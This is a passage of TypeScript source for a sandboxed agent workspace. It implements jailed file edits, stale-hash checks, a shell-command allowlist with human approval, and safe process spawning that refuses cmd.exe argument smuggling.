...written, ...(diagnostics !== undefined ? { diagnostics } : {}) };\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n\n const result = await this.withPathLock(absolutePath, () =>\n this.applyEdit(input, absolutePath, relativePath),\n );\n const diagnostics = await this.diagnosticsFor(\"edit_file\", [result.path]);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n /** The read-check-replace-write of {@link editFile}, run under its path lock. */\n private async applyEdit(\n input: EditFileInput,\n absolutePath: string,\n relativePath: string,\n ): Promise<EditFileResult> {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n // Stale-hash guard: if the caller pinned a hash and the file moved\n // underneath them, refuse so they re-read before clobbering.\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; the edit is stale.`,\n {\n type: \"stale-hash\",\n path: relativePath || input.path,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n const {\n content: updated,\n replacements,\n matchTier,\n } = applyReplacement(\n current,\n input,\n input.path,\n relativePath || input.path,\n this.editOptions(),\n );\n\n await this.backend.writeFile(absolutePath, updated);\n\n return {\n path: relativePath || input.path,\n replacements,\n hash: fs.hash.string(updated),\n ...(matchTier !== undefined ? { matchTier } : {}),\n };\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n const shownPath = relativePath || input.path;\n\n if (input.edits.length === 0 || input.edits.length > MAX_MULTI_EDITS) {\n throw new RangeError(\n `A multi-edit needs between 1 and ${MAX_MULTI_EDITS} edits (got ${input.edits.length}).`,\n );\n }\n\n const result = await this.withPathLock(absolutePath, async () => {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; none of the edits were applied.`,\n {\n type: \"stale-hash\",\n path: shownPath,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n // Apply every edit in memory first; one failure leaves the file untouched.\n let content = current;\n let replacements = 0;\n let matchTier: MultiEditResult[\"matchTier\"];\n const options = this.editOptions();\n\n input.edits.forEach((edit, editIndex) => {\n const applied = applyReplacement(content, edit, input.path, shownPath, options, editIndex);\n\n content = applied.content;\n replacements += applied.replacements;\n\n if (applied.matchTier === \"whitespace\" || matchTier === undefined) {\n matchTier = applied.matchTier ?? matchTier;\n }\n });\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n path: shownPath,\n edits: input.edits.length,\n replacements,\n hash: fs.hash.string(content),\n ...(matchTier !== undefined ? { matchTier } : {}),\n };\n });\n const diagnostics = await this.diagnosticsFor(\"multi_edit\", [shownPath]);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n public async applyPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n const result = await this.runPatch(input);\n\n if (result.dryRun) {\n return result;\n }\n\n const paths = result.files.filter((file) => file.action !== \"deleted\").map((file) => file.path);\n const diagnostics = await this.diagnosticsFor(\"apply_patch\", paths);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n private runPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n return executePatch(input, {\n resolve: (inputPath) => resolveInJail(this.policy, inputPath),\n exists: (absolutePath) => this.backend.exists(absolutePath),\n stat: this.backend.stat\n ? (absolutePath) =>\n (this.backend.stat as NonNullable<WorkspaceBackend[\"stat\"]>)(absolutePath)\n : undefined,\n read: (absolutePath) => this.backend.readFile(absolutePath),\n write: async (absolutePath, content) => {\n await this.backend.mkdir(path.dirname(absolutePath));\n await this.backend.writeFile(absolutePath, content);\n },\n remove: (absolutePath) => this.backend.remove(absolutePath),\n withLock: (key, task) => this.withPathLock(key, task),\n display: (absolutePath) => path.relative(this.policy.cwd, absolutePath),\n });\n }\n\n /**\n * Check a command line against the shell policy: every command in it\n * (argv or shell mode), then — shell mode — every redirection target and\n * `cd` directory against the jail with symlinks resolved.\n */\n private async assertCommandAllowed(command: string, signal?: AbortSignal): Promise<void> {\n const verdict = checkShellCommand(this.policy, command, {\n remembered: this.approvals,\n resolved: this.resolvedShell,\n });\n const onAsk = this.policy.shell?.onAsk;\n const needsApproval =\n !verdict.allowed && verdict.reason === \"approval-required\" && verdict.asks.length > 0;\n\n if (!verdict.allowed && !(needsApproval && onAsk !== undefined)) {\n throw new WorkspacePolicyError(\n verdict.message ?? `Command is not permitted by the workspace shell policy: ${command}`,\n {\n type: \"denied-command\",\n command,\n ...(verdict.reason !== undefined ? { reason: verdict.reason } : {}),\n ...(verdict.executable !== undefined ? { executable: verdict.executable } : {}),\n ...(verdict.path !== undefined ? { path: verdict.path } : {}),\n },\n );\n }\n\n for (const target of verdict.paths) {\n try {\n await resolveInJail(this.policy, target.path);\n } catch (error) {\n if (!(error instanceof WorkspacePolicyError)) {\n throw error;\n }\n\n throw new WorkspacePolicyError(\n target.access === \"cwd\"\n ? `\\`cd ${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`\n : `The redirection target \\`${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`,\n { type: \"denied-command\", reason: \"path-escape\", command, path: target.target },\n );\n }\n }\n\n if (this.runtime.jobs.isDisposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot run new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n\n if (needsApproval && onAsk !== undefined) {\n await this.askForApproval(command, verdict.asks, onAsk, signal);\n }\n }\n\n /** Put the commands that need approval to `shell.onAsk`; refuse the line unless it says yes. */\n private async askForApproval(\n command: string,\n asks: WorkspaceShellAsk[],\n onAsk: WorkspaceShellOnAsk,\n signal: AbortSignal | undefined,\n ): Promise<void> {\n let decision: Awaited<ReturnType<WorkspaceShellOnAsk>> | undefined;\n\n try {\n decision = await onAsk({ command, asks, ...(signal ? { signal } : {}) });\n } catch {\n decision = undefined;\n }\n\n if (decision?.allow !== true) {\n const reason = refusalReason(decision?.reason);\n\n throw new WorkspacePolicyError(\n `Running ${asks.map((ask) => `\\`${ask.argv.join(\" \")}\\``).join(\", \")} was not approved${reason}`,\n { type: \"denied-command\", reason: \"approval-denied\", command },\n );\n }\n\n if (decision.remember !== undefined) {\n const patterns = Array.isArray(decision.remember) ? decision.remember : [decision.remember];\n\n for (const pattern of patterns as WorkspaceCommandPattern[]) {\n if (!this.approvals.some((entry) => samePattern(entry, pattern))) {\n this.approvals.push(pattern);\n }\n }\n }\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n await this.assertCommandAllowed(command, opts?.signal);\n\n const signal = opts?.signal;\n\n // Refuse an already-cancelled invocation here, so no backend — built-in\n // or custom — ever starts a command whose caller has given up on it.\n if (signal?.aborted) {\n return {\n exitCode: CANCELLED_BEFORE_START_EXIT_CODE,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n truncated: false,\n timedOut: false,\n cancelled: true,\n };\n }\n\n const shell = this.policy.shell;\n const timeoutMs = opts?.timeoutMs ?? shell?.timeoutMs;\n const maxOutputBytes = shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;\n const interpreter = this.resolvedShell.interpreter;\n\n const result = await this.backend.exec(command, {\n cwd: this.policy.cwd,\n timeoutMs,\n env: buildCommandEnv(this.policy),\n ...(signal ? { signal } : {}),\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n ...(interpreter !== \"none\" && this.resolvedShell.file !== undefined\n ? { interpreterPath: this.resolvedShell.file }\n : {}),\n });\n\n const stdout = await this.fitStream(\"run_shell-stdout\", result.stdout, maxOutputBytes);\n const stderr = await this.fitStream(\"run_shell-stderr\", result.stderr, maxOutputBytes);\n const cancelled = result.cancelled === true;\n const truncation = streamTruncation(stdout.truncation, stderr.truncation);\n\n return {\n exitCode: result.exitCode,\n stdout: stdout.value,\n stderr: stderr.value,\n truncated: stdout.truncated || stderr.truncated,\n timedOut: result.timedOut && !cancelled,\n cancelled,\n ...(truncation !== undefined ? { truncation } : {}),\n ...spilledField(truncation),\n };\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n const background = this.policy.shell?.background;\n\n if (background === undefined) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace. Run the command without background, or ask for shell.background to be enabled.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n\n await this.assertCommandAllowed(command);\n\n const start = this.backend.start?.bind(this.backend);\n\n if (start === undefined) {\n throw new WorkspacePolicyError(\"This workspace backend cannot run background commands.\", {\n type: \"denied-command\",\n reason: \"not-allowed\",\n command,\n });\n }\n\n const shell = this.policy.shell;\n const interpreter = this.resolvedShell.interpreter;\n const interpreterPath = interpreter !== \"none\" ? this.resolvedShell.file : undefined;\n const timeoutMs = lowerOf(background.timeoutMs, opts?.timeoutMs);\n const env = buildCommandEnv(this.policy);\n\n return this.runtime.jobs.start({\n command,\n retainBytes: shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES,\n maxJobs: background.maxJobs ?? DEFAULT_MAX_BACKGROUND_JOBS,\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n launch: (onOutput) =>\n start(command, {\n cwd: this.policy.cwd,\n env,\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n ...(interpreterPath !== undefined ? { interpreterPath } : {}),\n onOutput,\n }),\n });\n }\n\n public async shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n const result = await this.runtime.jobs.output(id, opts);\n\n if (!this.spiller.enabled) {\n return result;\n }\n\n const stdout = await this.spiller.text(`shell_output-${id}-stdout`, result.stdout, \"head+tail\");\n const stderr = await this.spiller.text(`shell_output-${id}-stderr`, result.stderr, \"head+tail\");\n const truncation = streamTruncation(stdout.truncation, stderr.truncation);\n\n return truncation === undefined\n ? result\n : {\n ...result,\n stdout: stdout.value,\n stderr: stderr.value,\n truncated: true,\n truncation,\n ...spilledField(truncation),\n };\n }\n\n /**\n * Fit one captured stream to the limits: spilled to a file when\n * `output.spillDir` is set, otherwise clipped at `maxBytes` as always.\n */\n private async fitStream(\n label: string,\n value: string,\n maxBytes: number,\n ): Promise<{ value: string; truncated: boolean; truncation?: WorkspaceTruncation }> {\n if (this.spiller.enabled) {\n const cap = this.policy.shell?.maxOutputBytes;\n const spilled = await this.spiller.text(label, value, \"head+tail\", cap);\n\n if (spilled.truncation !== undefined) {\n return { value: spilled.value, truncated: true, truncation: spilled.truncation };\n }\n }\n\n const capped = capOutput(value, maxBytes);\n\n if (!capped.truncated) {\n return capped;\n }\n\n return {\n ...capped,\n truncation: {\n shown: { lines: splitLines(capped.value).length },\n total: { lines: splitLines(value).length, bytes: Buffer.byteLength(value, \"utf8\") },\n },\n };\n }\n\n public shellKill(id: string): Promise<ShellJobInfo> {\n return this.runtime.jobs.kill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.runtime.jobs.list();\n }\n\n public async dispose(): Promise<void> {\n await this.runtime.jobs.dispose();\n await this.spiller.dispose();\n }\n\n public async listDir(inputPath = \".\", opts?: ListDirOptions): Promise<ListDirResult> {\n const { absolutePath: root, relativePath: rootRelative } = await resolveInJail(\n this.policy,\n inputPath,\n );\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const listPolicy = this.policy.list;\n const maxDepth = Math.max(1, Math.floor(listPolicy?.maxDepth ?? DEFAULT_LIST_MAX_DEPTH));\n const depth = Math.min(Math.max(1, Math.floor(opts?.depth ?? 1)), maxDepth);\n const maxEntries = Math.max(1, Math.floor(listPolicy?.maxEntries ?? DEFAULT_LIST_MAX_ENTRIES));\n const ignore = [...(listPolicy?.ignore ?? DEFAULT_LIST_IGNORE), ...(opts?.ignore ?? [])];\n const insideCwd = isInside(root, jailRoot);\n\n if (!(await this.isDirectory(root))) {\n throw new Error(`\"${inputPath}\" is not a directory in the workspace.`);\n }\n\n const entries: ListDirEntry[] = [];\n let level: string[] = [root];\n let truncated = false;\n\n for (let currentDepth = 1; currentDepth <= depth && level.length > 0; currentDepth++) {\n const nextLevel: string[] = [];\n\n for (const directory of level) {\n let children: string[];\n\n try {\n children = await this.backend.list(directory);\n } catch {\n continue;\n }\n\n children.sort((left, right) => (left < right ? -1 : left > right ? 1 : 0));\n\n for (const child of children) {\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, child).split(path.sep).join(\"/\")\n : child;\n\n if (\n insideCwd &&\n (this.isDenied(relativeToJail) || matchesAnyGlob(relativeToJail, ignore))\n ) {\n continue;\n }\n\n const relativeToRoot = path.relative(root, child).split(path.sep).join(\"/\");\n\n if (!insideCwd && matchesAnyGlob(relativeToRoot, ignore)) {\n continue;\n }\n\n if (entries.length >= maxEntries) {\n truncated = true;\n\n break;\n }\n\n const described = await this.describe(child);\n\n entries.push({\n path: relativeToJail,\n type: described.type,\n ...(described.size !== undefined ? { size: described.size } : {}),\n depth: currentDepth,\n });\n\n if (described.type === \"directory\") {\n nextLevel.push(child);\n }\n }\n\n if (truncated) {\n break;\n }\n }\n\n if (truncated) {\n break;\n }\n\n level = nextLevel;\n }\n\n return { path: insideCwd ? rootRelative || \".\" : root, entries, truncated };\n }\n\n /** Kind and size of a listed entry; symlinks are reported, never followed. */\n private async describe(absPath: string): Promise<{ type: ListDirEntryType; size?: number }> {\n if (this.backend.stat) {\n try {\n const stats = await this.backend.stat(absPath);\n\n return stats.type === \"file\" ? { type: \"file\", size: stats.size } : { type: stats.type };\n } catch {\n return { type: \"other\" };\n }\n }\n\n // No `stat`: a child is a directory iff it can be listed, and it must\n // still resolve inside the jail before it is descended into.\n if (await this.isDirectory(absPath)) {\n try {\n await resolveInJail(this.policy, absPath);\n\n return { type: \"directory\" };\n } catch {\n return { type: \"other\" };\n }\n }\n\n return { type: \"file\" };\n }\n\n public async grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n if (!isSafeGrepPattern(pattern)) {\n throw new WorkspacePolicyError(\n `Grep pattern is too long or too likely to cause catastrophic regex backtracking: ${pattern}`,\n { type: \"unsafe-pattern\", pattern },\n );\n }\n\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const flags = opts?.ignoreCase ? \"i\" : \"\";\n const regex = new RegExp(pattern, flags);\n const globRegex = opts?.glob ? globToRegExp(opts.glob) : undefined;\n\n const files = await this.walkFiles(jailRoot);\n const matches: GrepMatch[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (globRegex && !globRegex.test(relativePath)) {\n continue;\n }\n\n // Skip files the deny list would block (e.g. `.git/**`).\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n let content: string;\n\n try {\n content = await this.backend.readFile(absFile);\n } catch {\n // Unreadable entry (vanished, binary handle) — skip, don't fail.\n continue;\n }\n\n const lines = content.split(\"\\n\");\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index] ?? \"\";\n\n // Cap the input size a single `RegExp#test` call scans: backtracking\n // cost is exponential in input length, so this bounds the worst-case\n // time even a pathological (but length/shape-allowed) pattern can\n // burn on any one line.\n if (line.length > MAX_GREP_LINE_SCAN_LENGTH) {\n continue;\n }\n\n if (regex.test(line)) {\n matches.push({ path: relativePath, line: index + 1, text: line });\n\n if (matches.length >= DEFAULT_MAX_GREP_MATCHES) {\n return this.fitMatches(matches);\n }\n }\n }\n }\n\n return this.fitMatches(matches);\n }\n\n /** Apply the `output` limits to a finished match list. */\n private async fitMatches(matches: GrepMatch[]): Promise<GrepResult> {\n const fitted = await this.spiller.list(\n \"grep\",\n matches,\n (match) => `${match.path}:${match.line}:${match.text}`,\n \"head\",\n );\n\n return fitted.truncation === undefined\n ? { matches, total: matches.length }\n : {\n matches: fitted.items,\n total: matches.length,\n truncated: true,\n truncation: fitted.truncation,\n ...spilledField({ stdout: fitted.truncation }),\n };\n }\n\n public async globResult(pattern: string): Promise<GlobResult> {\n const all = await this.glob(pattern);\n const fitted = await this.spiller.list(\"glob\", all, (entry) => entry, \"head\");\n\n return fitted.truncation === undefined\n ? { paths: all }\n : {\n paths: fitted.items,\n truncated: true,\n truncation: fitted.truncation,\n ...spilledField({ stdout: fitted.truncation }),\n };\n }\n\n public async glob(pattern: string): Promise<string[]> {\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const regex = globToRegExp(pattern);\n\n const files = await this.walkFiles(jailRoot);\n const matched: string[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n if (regex.test(relativePath)) {\n matched.push(relativePath);\n }\n }\n\n return matched.sort();\n }\n\n public async exists(inputPath: string): Promise<boolean> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n return this.backend.exists(absolutePath);\n }\n\n public async mkdir(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.backend.mkdir(absolutePath);\n }\n\n public async remove(inputPath: string): Promise<void> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath);\n\n await this.withPathLock(absolutePath, () => this.backend.remove(absolutePath));\n }\n\n /** Whether a `/`-separated relative path hits the policy deny list. */\n private isDenied(relativePath: string): boolean {\n const denyPaths = this.policy.denyPaths;\n\n return (\n denyPaths !== undefined && denyPaths.length > 0 && matchesAnyGlob(relativePath, denyPaths)\n );\n }\n}\n\n/** `{ spilledTo }` for every spill file named in the truncation metadata, or nothing. */\nfunction spilledField(\n truncation: { stdout?: WorkspaceTruncation; stderr?: WorkspaceTruncation } | undefined,\n): { spilledTo?: string[] } {\n const paths = [truncation?.stdout?.path, truncation?.stderr?.path].filter(\n (file): file is string => file !== undefined,\n );\n\n return paths.length > 0 ? { spilledTo: paths } : {};\n}\n\n/** Combine per-stream truncation metadata; `undefined` when neither stream was clipped. */\nfunction streamTruncation(\n stdout: WorkspaceTruncation | undefined,\n stderr: WorkspaceTruncation | undefined,\n): { stdout?: WorkspaceTruncation; stderr?: WorkspaceTruncation } | undefined {\n if (stdout === undefined && stderr === undefined) {\n return undefined;\n }\n\n return {\n ...(stdout !== undefined ? { stdout } : {}),\n ...(stderr !== undefined ? { stderr } : {}),\n };\n}\n\n/** The lower of two optional limits (either may be absent). */\nfunction lowerOf(\n policyLimit: number | undefined,\n requested: number | undefined,\n): number | undefined {\n if (requested === undefined || requested <= 0) {\n return policyLimit;\n }\n\n return policyLimit === undefined ? requested : Math.min(policyLimit, requested);\n}\n\n/**\n * Create the policy-enforced operation layer over a backend.\n *\n * The returned {@link WorkspaceOps} is the single seam both the\n * agent-facing `.tools.*` factories and the human-facing direct methods\n * delegate to — one jail, one command-gate, one read-before-edit guard,\n * regardless of caller. Path inputs are workspace-relative and resolved\n * against `policy.cwd`; escapes and denied commands surface as typed\n * {@link WorkspacePolicyError} / {@link WorkspaceEditError}.\n *\n * @param backend - The dumb IO executor (local disk or in-memory mock).\n * @param policy - The policy that bounds every operation.\n * @param runtime - State shared with other views of the same workspace\n * (its background commands); a fresh one when omitted.\n *\n * @example\n * const ops = createOps(localBackend, { cwd: \"/srv/api\", shell: { allow: [\"npm\"] } });\n * const { content, hash } = await ops.readFile(\"src/index.ts\");\n */\nexport function createOps(\n backend: WorkspaceBackend,\n policy: WorkspacePolicy,\n runtime?: OpsRuntime,\n): WorkspaceOps {\n return new Ops(backend, policy, runtime ?? { jobs: new ShellJobs() });\n}\n","import { spawn } from \"node:child_process\";\nimport { lstat, realpath } from \"node:fs/promises\";\nimport { platform } from \"node:process\";\nimport { StringDecoder } from \"node:string_decoder\";\nimport { fs } from \"@warlock.js/fs\";\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\nimport type { WorkspaceShellInterpreter } from \"../contracts/workspace-policy.type\";\nimport type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n WorkspaceBackendProcess,\n WorkspaceBackendStartOptions,\n WorkspaceBackendStat,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\n * executor truncates each stream once this many bytes have accumulated so a\n * runaway command cannot exhaust memory; the ops layer applies its own\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\n * ordinary command output is never clipped here.\n */\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\n\n/**\n * Append a chunk to a capped list of buffers, tracking the running byte\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\n * past the cap are dropped rather than buffered.\n */\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\n if (total >= MAX_STREAM_BYTES) {\n return total;\n }\n\n const remaining = MAX_STREAM_BYTES - total;\n\n if (chunk.length <= remaining) {\n chunks.push(chunk);\n\n return total + chunk.length;\n }\n\n chunks.push(chunk.subarray(0, remaining));\n\n return MAX_STREAM_BYTES;\n}\n\n/**\n * Force-kill a spawned command and its entire process tree.\n *\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\n * further processes), so signalling the direct child alone could leave a\n * long-running grandchild alive and the `exec` promise unsettled. We\n * therefore kill the whole group:\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\n * - **POSIX** — the child is spawned `detached`, becoming its own process\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\n */\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\n if (pid === undefined) {\n child.kill(\"SIGKILL\");\n\n return;\n }\n\n if (platform === \"win32\") {\n const killer = spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\n\n // Without a listener a failed spawn (taskkill missing from PATH) is an\n // unhandled 'error' event that crashes the process; fall back to the\n // direct child instead.\n killer.on(\"error\", () => {\n child.kill(\"SIGKILL\");\n });\n\n return;\n }\n\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n // The group may already be gone; fall back to the direct child.\n child.kill(\"SIGKILL\");\n }\n}\n\n/**\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\n * an embedded quote breaks out of the quoted span, `%` triggers variable\n * expansion regardless of quoting, and newlines end the command line. An\n * argv containing any of these is refused rather than risked (the\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\n */\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\n\n/**\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\n * (Node rejects them since CVE-2024-27980), so the argv is run through\n * `cmd.exe /d /s /c` with every element individually double-quoted —\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\n * argument stay argument data. Returns `null` when an element contains a\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\n *\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\n * not re-quote the already-quoted command line.\n */\nfunction toWin32CmdInvocation(argv: string[]): { file: string; args: string[] } | null {\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\n return null;\n }\n\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\n\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\n };\n}\n\n/** The shell a POSIX shell-mode line runs through — an absolute path, never a PATH lookup. */\nconst POSIX_SHELL = \"/bin/sh\";\n\n/** How to spawn a command line, or why it cannot be spawned. */\nexport type SpawnPlan =\n | { file: string; args: string[]; windowsVerbatimArguments: boolean }\n | { refused: string };\n\n/**\n * Work out the spawn for a command line.\n *\n * - argv mode: tokenize (no shell semantics) and spawn the argv directly —\n * on Windows through an individually-quoted `cmd.exe` wrapper.\n * - shell mode: `/bin/sh -c <line>`, or `cmd.exe /d /v:off /s /c \"<line>\"`\n * on Windows (`/d` skips AutoRun, `/v:off` disables delayed `!` expansion,\n * `/s` keeps the line verbatim inside the outer quotes). The ops layer has\n * already checked every command in the line.\n */\nexport function planSpawn(\n command: string,\n interpreter: WorkspaceShellInterpreter,\n interpreterPath?: string,\n hostPlatform: NodeJS.Platform = platform,\n): SpawnPlan {\n if (interpreter === \"powershell\") {\n return {\n file: interpreterPath ?? (hostPlatform === \"win32\" ? \"powershell.exe\" : \"pwsh\"),\n args: [\"-NoLogo\", \"-NoProfile\", \"-NonInteractive\", \"-Command\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n if (interpreter === \"bash\") {\n return {\n file: interpreterPath ?? \"bash\",\n args: [\"-c\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n if (interpreter === \"cmd\" || (interpreter === \"sh\" && hostPlatform === \"win32\")) {\n return {\n file: interpreterPath ?? process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/v:off\", \"/s\", \"/c\", `\"${command}\"`],\n windowsVerbatimArguments: true,\n };\n }\n\n if (interpreter === \"sh\") {\n return {\n file: interpreterPath ?? POSIX_SHELL,\n args: [\"-c\", command],\n windowsVerbatimArguments: false,\n };\n }\n\n const argv = tokenizeCommand(command);\n const executable = argv?.[0];\n\n if (argv === null || executable === undefined) {\n return {\n refused:\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\n \"parentheses). Commands run without a shell — pass metacharacters \" +\n \"inside quotes as literal arguments, or run one command at a time.\",\n };\n }\n\n if (platform === \"win32\") {\n const invocation = toWin32CmdInvocation(argv);\n\n if (invocation === null) {\n return {\n refused:\n 'Command was not executed: on Windows, arguments containing \", %, ' +\n \"or newlines cannot be passed to cmd.exe safely.\",\n };\n }\n\n return { ...invocation, windowsVerbatimArguments: true };\n }\n\n return { file: executable, args: argv.slice(1), windowsVerbatimArguments: false };\n}\n\n/**\n * Kill functions of every background process still running, so they can\n * be reaped if the Node process exits without the workspace being disposed\n * (detached process groups would otherwise outlive it).\n */\nconst liveBackgroundKills = new Set<() => void>();\n\nlet exitHookInstalled = false;\n\n/** Track a live background tree; installs (once) the exit hook that kills them. */\nfunction trackBackgroundProcess(kill: () => void): () => void {\n liveBackgroundKills.add(kill);\n\n if (!exitHookInstalled) {\n exitHookInstalled = true;\n process.on(\"exit\", () => {\n for (const killTreeNow of liveBackgroundKills) {\n killTreeNow();\n }\n });\n }\n\n return () => {\n liveBackgroundKills.delete(kill);\n };\n}\n\n/**\n * The real-disk executor: every filesystem method delegates to\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\n * it receives already-resolved absolute paths and an already-resolved\n * environment + timeout from the ops layer, and just performs the side\n * effect. See {@link WorkspaceBackend} for the contract this implements.\n *\n * Constructed via {@link createLocalBackend}; the class itself is internal.\n */\nclass LocalBackend implements WorkspaceBackend {\n /** Read a file's full UTF-8 content at an absolute path. */\n public async readFile(absPath: string): Promise<string> {\n return fs.files.get(absPath);\n }\n\n /**\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\n * concurrent reader never observes a half-written file, and missing parent\n * directories are created.\n */\n public async writeFile(absPath: string, content: string): Promise<void> {\n await fs.files.put(absPath, content, { atomic: true });\n }\n\n /** Whether anything (file or directory) exists at an absolute path. */\n public async exists(absPath: string): Promise<boolean> {\n return fs.exists(absPath);\n }\n\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\n public async mkdir(absPath: string): Promise<void> {\n await fs.dirs.ensure(absPath);\n }\n\n /**\n * Remove a file or directory tree at an absolute path. Stats the target to\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\n */\n public async remove(absPath: string): Promise<void> {\n let isDirectory = false;\n\n try {\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\n } catch (error) {\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\n return;\n }\n\n throw error;\n }\n\n if (isDirectory) {\n await fs.dirs.remove(absPath);\n\n return;\n }\n\n await fs.files.remove(absPath);\n }\n\n /** List immediate children of an absolute directory as absolute paths. */\n public async list(absDir: string): Promise<string[]> {\n return fs.dirs.list(absDir);\n }\n\n /**\n * Describe a path without following a final symlink (`lstat` — like\n * `realpath`, a filesystem operation `@warlock.js/fs` does not expose).\n */\n public async stat(absPath: string): Promise<WorkspaceBackendStat> {\n const stats = await lstat(absPath);\n const type = stats.isSymbolicLink()\n ? \"symlink\"\n : stats.isDirectory()\n ? \"directory\"\n : stats.isFile()\n ? \"file\"\n : \"other\";\n\n return { type, size: stats.size };\n }\n\n /**\n * Resolve symlinks and `..` segments to a canonical absolute path — the\n * primitive the ops-layer jail uses to detect escapes. Delegates to\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\n * does not expose.\n */\n public async realpath(absPath: string): Promise<string> {\n return realpath(absPath);\n }\n\n /**\n * Run a command and capture its outcome. In argv mode (the default) the\n * command line is tokenized into an argv (quotes respected, NO shell\n * semantics — see `tokenizeCommand`) and spawned **without a shell**, so\n * metacharacters like `;`, `&&`, `|`, backticks, and `$()` can never\n * chain extra commands past the ops layer's allowlist; a command they\n * appear unquoted in is refused with exit code 127. On Windows the argv\n * runs through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\n * cannot be spawned shell-less) with every element 